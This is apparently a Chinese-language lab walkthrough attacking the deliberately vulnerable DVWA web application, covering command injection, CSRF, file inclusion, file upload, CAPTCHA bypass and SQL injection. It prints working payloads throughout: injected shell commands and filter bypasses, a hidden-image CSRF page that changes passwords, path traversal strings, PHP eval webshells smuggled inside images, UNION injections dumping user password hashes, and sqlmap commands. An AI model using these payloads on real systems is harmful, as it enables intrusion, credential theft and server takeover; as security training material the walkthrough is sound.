命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。
攻击者利用命令注入漏洞的常见方式之一是通过在用户输入中注入特殊字符或命令分隔符(如分号、管道符、与操作符),还可以注入简单病毒来进行攻击,从而欺骗应用程序将恶意命令附加到正常的系统命令中执行。
逻辑运算符“&”和“|”的意思:
&&:代表首先执行命令a在执行命令b,但是前提条件是命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。
&:代表首先执行命令a在执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰,在执行效率上来说“&&”更加高效。
||:代表首先执行a命令在执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。
| :代表首先执行a命令,在执行b命令,不管a命令成功与否,都会去执行b命令。
该级别对输入没有进行过滤。
首先要输入一个IP,之后接自己想要执行的命令。
在文本框里输入”127.0.0.1 && net user”,得到系统中所有的用户。从而可以实施攻击。
输入”127.0.0.1 && systeminfo“ ,得到系统硬件信息等
还可以上传病毒
127.0.0.1 & taskkill /f /fi "pid ne 1"
从Medium的源代码可以看出,它在Low代码层面上增加了对上传参数的过滤,将上传参数的&&和;转化为空,但是它仅仅只能过滤&&和;,可以使用&继续进行命令执行。
输入127.0.0.1 && ipconfig
:
输入127.0.0.1 & whoami
:
成功获取到了当前用户
High的代码也就是在Medium的代码上面进行了一次升级,增加了过滤的黑名单,但是,仔细看源代码会发现,本来可以过滤一个|,就可以过滤所有|、||,会发现过滤的|后面有一个空格,也就表示,它过滤的是|空格,并没有过滤|,所以可以利用|进行绕过。
输入框输入127.0.0.1 || net user
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
从过滤的黑名单看的出来确实有过滤||,但是顺序是由上到下依次查找转义,首先转义|空格
。
所以127.0.0.1 || net user经过过滤后就是127.0.0.1 |net user,这里的|是原命令语句(127.0.0.1 || net user)左边的,因此,最后的执行命令便成了127.0.0.1 |net user
全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
什么是CSRF?
CSRF,跨站域请求伪造,通常攻击者会伪造一个场景(例如一条链接),来诱使用户点击,用户一旦点击,黑客的攻击目的也就达到了,他可以盗用你的身份,以你的名义发送恶意请求。CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。
和XSS有什么不同?
CSRF是以用户的权限去做事情,自己本身并没有获取到权限;XSS是直接盗取了用户的权限进行攻击。
可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防御CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。
输入新的密码之后就会在地址栏出现相应的链接(是get型所以提交的参数会显示),并提示密码修改成功:
此时在同一个浏览器中打开新的页面将上面的链接粘贴到地址栏并进行访问,此时成功访问:
然后在没有退出原本的登录的情况下(这其实就是真实攻击时,用户登录了淘宝,在没有退出淘宝(或身份认证信息还未过期时)打开了新的(黑客设计好的修改淘宝登录密码的链接),就会把淘宝的密码改了),新打开的页面地址栏修改链接的密码为passwd(原本为123)并回车,新页面会显示密码修改成功,此时退出登录后重新登录会发现登录密码变为新的123而passwd无法登陆。
当然这个新的web页面的url(也就是黑客自创的假链接)有点过于显眼,为了隐藏URL,可以使用生成短链接的方式来实现。站长之家(生成短链接):https://tool.chinaz.com/Tools/dwz.aspx
也可以使用构造恶意页面方式来修改密码。
查看源码
stripos(str1, str2) 函数检查str2在str1中出现的位置(不区分大小写)
代码检查了保留变量HTTP_REFERER (http包头部的Referer字段的值,表示来源地址)是否包含SERVER_NAME(http包头部的 Host 字段表示要访问的主机名)。
首先要让Referer参数值包含主机名,先打开burpsuite对界面进行抓包,可以看到多了一个referer头
方式一:
将Host与Referer修改一致即可
其实意思是这个referer中只要出现Host就可以正常操作。
方式二:
恶意网站中是这样的,显然是不成立的
Host 192.168.188.168
Referer:http://192.168.188.168/
如果是这样:
Host 192.168.188.168
Referer:http://192.168.188.168/192.168.188.168.html
从技术上就可以绕过了,但是新构造的这个192.168.188.168.html,很容易被发现,可以进行URL转码(这里不做转换)。
先在目标主机中登录dvwa,之后在Kali服务器中构造恶意页面(将密码修改为666)并放置到网站根目录下:
<html>
<head>
head>
<body>
<img src="http://192.168.188.168/dv/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#"border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
body>
html>
测试此时访问完192.168.188.168.html恶意页面,当用户点击访问这个页面时,会以为访问的页面丢失了,但是当打开这个页面时,用户的密码已经被修改了。
此时原本的password已经无法登陆了,而恶意页面指定修改为666可以成功登录。
查看源码:
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问修改密码页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。构建上述恶意链接就不可取了因为token是随机的无法伪造。
所以在发起请求之前需要获取服务器返回的user_token,利用user_token绕过验证。这里使用burpsuit的CSRF Token Tracker插件可以直接绕过user_token验证。使用步骤如下:
文件包含:开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞:可以允许攻击者利用未正确验证用户输入的文件路径导致恶意文件的执行或敏感文件的泄露。文件包含漏洞通常发生在Web应用程序中,其中动态地包含文件并且未对用户输入进行充分过滤和验证。攻击者可以利用此漏洞来执行任意的服务器端代码,包括恶意脚本、命令执行、包含敏感文件等。
文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。
本地包含:使用本机包含可以访问被攻击者的敏感文件,从而达到收集信息的目的。
远程包含:可以利用连接访问攻击者的页面,但是用被攻击者的资源进行解析。
查看源码:
首先查看源码发现没有任何过滤,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以 文件包含漏洞常常会导致任意文件读取与任意命令执行。
点开file1.php和其他的只有page=后面的发生了变化,因此可以将page后的参数视为可控字段。
给page随便赋值,看有什么结果:page=include.php/
报错信息:直接报网站的路径信息给暴露出来了:
action one:本地包含
根据暴露出来的绝对路径:
C:\phpStudy\WWW\dv\vulnerabilities\fi\index.php,通过访问相对路径的方式“…/”访问所有的路径,比如访问www下面的phpinfo.php文件,通过该方法可以浏览相应目录下的文件。
phpinfo.php是一个PHP脚本文件,用于显示与PHP相关的配置和系统信息。当访问该文件时,它会生成一个包含PHP配置、编译选项、已加载扩展模块以及服务器环境变量等详细信息的页面。通常用于调试和了解服务器上当前PHP环境的配置和状态。然而,出于安全考虑,不建议在公共服务器上保留phpinfo.php文件,因为它可能泄露服务器敏感信息。
构造相对路径URL:?page=../../../phpinfo.php
上述实验说明,通过构造URL不仅能够读取文件,还可以执行文件(因为输出phpinfo.php时执行了echo函数),表名文件包含不仅可以读取文件,还可以执行文件。
在dwva服务器的C盘创建一个txt文档。
在url里面尝试上传包含本地文件 C://a.txt
成功输出a.txt文件内容,只有php文件会解析运行。其他的只会原封不动的输出出来。
利用漏洞:通过利用该漏洞可以上传一句话木马,进入文件上传File Upload,进行木马文件上传。可以使用蚁剑进行连接。
fputs(fopen('shell.php','w'),'');?>
补充:
/ ./ …/ …/…/ …/…/…/ 的含义:
第一个 / 这个斜杠代表的是根目录。
第二个 ./ 这个代表的是当前目录。
第三个 …/ 这个代表的意思是返回到上一级目录;。
第四个 …/…/ 这个代表的是返回到上一级,再向上返回一级,返回了两级。
第五个 …/…/…/ 这个比上面的多了一级,那么就是向上返回三级了。
查看源码:
发现使用str_replace对 http://,https:// , ” …/,”…\” 替换成空,对于str_replace函数进行的过滤,可以使用==双写进行绕过==。
本地包含:
?page=....//....//....//phpinfo.php
远程包含:
?page=hthttp://tp://192.168.188.168/phpinfo.php
尝试在url里面尝试上传包含本地文件 C://a.txt
?page=C:a.txt
查看源码:
fnmatch() 函数根据指定的模式来匹配文件名或字符串。
源码中限制了文件名来防止恶意文件包含,并且!fnmatch( “file*”, $file )代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件,这样就无法进行远程访问。
注意:file://后面一定是绝对路径。
page=file://C://a.txt
本地包含:相对路径
file:/../../../phpinfo.php
远程包含必须使用http://协议或者https://协议,而高级模式使用白名单过滤仅允许file协议通过,而file协议针对本地文件有效,所以目前来看,是无法进行远程攻击的。
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
文件上传漏洞前提条件:
使用工具:
中国蚁剑 - AntSword - M0x1n - 博客园 (cnblogs.com)。
查看源码:
可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
上传一句话木马:
@eval($_POST['hello']); ?>
上传后显示:
使用工具中国蚁剑添加必要的信息
双击刚才添加的 Shell,即可看到文件管理界面。
然后使用蚁剑进行连接爆破目录:
还可以模拟终端
查看源码:
可以看到这里对上传的文件做了一个简单的前段验证,验证文件的后缀名是否为jpeg,png,同时对文件的大小做出了限制。这里采用白名单过滤,只允许上传文件类型为 image/jpeg 或者 image/png 以及文件大小小于100000字节(约为97.6KB)。
方式一:
上传木马文件simple.png,抓包修改后缀名为simple.php
@eval($_POST['hello']); ?>
最后点击Forward即可
中国蚁剑连接成功
方式二:
将文件名命名为simple.php%00.png,在进行文件名解析时服务器会将%00后面的内容丢弃。(仅限于php版本小于5.3.4的版本)。
创建simple.php%00.png文件
@eval($_POST['hello']); ?>
中国蚁剑连接成功
查看源码:
可以看到这里又添加了一个getimagesize(string filename)函数,它会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。这里读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。且文件大小小于100000字节。
用记事本打开simple.png,在末尾添加一句话木马:
上传成功
Insecure CAPTCHA,意思是不安全的验证码
查看源码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
You passed the CAPTCHA! Click the button to confirm your changes.
\" />
{$pass_conf}\" />
";
}
else {
// Both new passwords do not match.
$html .= "Both passwords must match.
";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the end user
echo "Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
漏洞利用
输入密码
抓包查看,将step的值改为2后再次发送即可校验通过,
密码修改成功
查看源码:
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
You passed the CAPTCHA! Click the button to confirm your changes.
\" />
{$pass_conf}\" />
";
}
else {
// Both new passwords do not match.
$html .= "Both passwords must match.
";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "
You have not passed the CAPTCHA.
";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the end user
echo "Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
依旧是抓包将值改为所要求的即可:
密码修改成功
查看源码
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for user
echo "Password Changed."; } else { // Ops. Password mismatch $html .= "
Both passwords must match."; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "
"; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
The CAPTCHA was incorrect. Please try again.
加入了 $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
。
服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数g-recaptcha-response不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。
依旧是抓包修改为他所要求的在发送即可
原数据包
修改后的数据包
密码修改成功
通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。
SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
查看源码:
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: {$first}
Surname: {$last}
漏洞分析
判断注入类型,是数字型注入,还是字符型注入。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
输入1,查看回显正常 (URL中id=1,说明php页面通过get方法传递参数)。
实际执行sql语句为:
SELECT first_name, last_name FROM users WHERE user_id = '1';
输入1’ 看回显,结果报错
继续输入1’ and ‘1’ =‘1和1’ and ‘1’='2。
SELECT first_name, last_name FROM users WHERE user_id = '1' and '1' ='1';
输入 1’and ‘1’='2 报错。
SELECT first_name, last_name FROM users WHERE user_id = '1'and '1'='2';
判断字段数order by
使用order by 进行判断字段数, 直到order by 进行报错时候就是字段数。
输入**1' order by 1#
** 后台执行的sql语句
查询users表中user_id为1的数据并按第一字段排行
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';
说明:按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误。
输入**1' order by 2#
** 没有报错
输入**1' order by 3#
**时报错了,说明字段只有2列。
说明:ORDER BY n 表示,以“第n个字段”排序。
判断回显位置联合查询union select
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在**使用 union 查询的时候需要和主查询的列数相同**,而之前已经知道了主查询列数为 2。
输入**1' union select database(),user()#
**进行查询 :
执行的sql语句:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#';
通过上图返回信息,成功获取到:
输入 **1’ union select version(),@@version_compile_os#**进行查询:
执行的Sql语句:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#';
通过上图返回信息,成功获取到:
获取表名
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入如下命令进行查询:1’ union select table_name,table_schema from information_schema.tables where table_schema= ‘dvwa’#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#';
通过上图返回信息,获取到:
获取表中的字段名
从users表获取表中的字段名
1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#
GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接,如果分组中括号里的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#';
获取字段中的数据
输入:1’ union select user,password from users # 进行查询:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users #';
成功爆出用户名、密码,密码采用 md5 进行加密,可以到www.cmd5.com进行解密。
查看源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ''
. mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
'. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
这里加入了一个下拉选项框,无法输入要查询的内容,只能选择1-5,且对单引号进行了过滤,并且使用转义预防SQL注入。
绕过措施是用burpsuite抓包。然后按照上面的sql注入流程一步步修改id来重新发包更新数据,直到获取管理员账户和密码。
输入1‘
页面报错,说明是数字型注入。
SELECT first_name, last_name FROM users WHERE user_id = 1 order by 2#
输入**1 order by 3#
**报错
由此得知字段只有2列。
SELECT first_name, last_name FROM users WHERE user_id = 1 union select database(),user()#
通过上图返回信息,成功获取到:
SELECT first_name, last_name FROM users WHERE user_id = 1 union select table_name,table_schema from information_schema.tables where table_schema= database()#
SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
注意:获取字段名的时候,会没有反应,因为源代码对单引号进行了转义,采用16进制绕过,得知users的十六进制为 0x7573657273
SELECT first_name, last_name FROM users WHERE user_id =1 union select user,password from users
查看源码:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( 'Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到添加了limit 1 做限制,说明扫出一个结果就不向下扫描了,只输出一个结果。
而且查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
SqlMap一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。
漏洞复现
输入1
SELECT first_name, last_name FROM users WHERE user_id = '1' LIMIT 1;
输入1’ and ‘1’=2’
判定是字符型注入
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1# LIMIT 1;';
输入1’ order by 3#时报错,说明是一共是两个字段
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()# LIMIT 1;';
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'# LIMIT 1;';
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'# LIMIT 1;';
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users # LIMIT 1;';
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
工具注入:
Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。
Sqlmap采用了以下5种独特的SQL注入技术:
Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。
Sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!
可以使用 -h 参数查看Sqlmap的参数以及用法,sqlmap -h
sql注入工具:sqlmap 入门命令使用详解说明。
启动sqlmap,在上图中复制URL和cookie,在sqlmap中输入:sqlmap –u ‘复制的URL’ --cookie=’复制的cookie’ 。
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=ton9eclf4b8ocuhal47pj6slu0"
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=ton9eclf4b8ocuhal47pj6slu0" --dbs
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=ton9eclf4b8ocuhal47pj6slu0" -D 'dvwa' --tables
说明:
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=ton9eclf4b8ocuhal47pj6slu0" -D 'dvwa' -T 'users' --columns
说明:
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=ton9eclf4b8ocuhal47pj6slu0" -D 'dvwa' -T 'users' -C 'user,password' --dump
说明:
输入id=1,url没有反应
利用burpsuit抓包分析, 来查看post方式提交的数据。
这里是使用 post 方式进行传输的,所以需要使用 –data 参数把数据引入过来。
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hb725lmgsoflilokq678deqqpv"
说明是数字型注入
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hb725lmgsoflilokq678deqqpv" --dbs
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hb725lmgsoflilokq678deqqpv" -D dvwa --tables
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hb725lmgsoflilokq678deqqpv" -D dvwa -T users --columns
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hb725lmgsoflilokq678deqqpv" -D dvwa -T users -C user,password --dump
dvwa中sql注入高级界面如下显示:
其中数据提交的页面和查询结果显示的页面是分离成了2个不同的窗口控制的。即在查询提交窗口提交数据后(POST请求),结果的结果在另外一个窗口展示(GET请求)。
此时需要利用其非常规的命令联合操作,如:-–second-url=“显示查询结果页面的url”(设置二阶响应的结果显示页面的url)
利用SQLMap工具注入测试
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hb725lmgsoflilokq678deqqpv" --second-url "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --dbs
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hb725lmgsoflilokq678deqqpv" --second-url "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/cookie-input.php" -D dvwa --tables
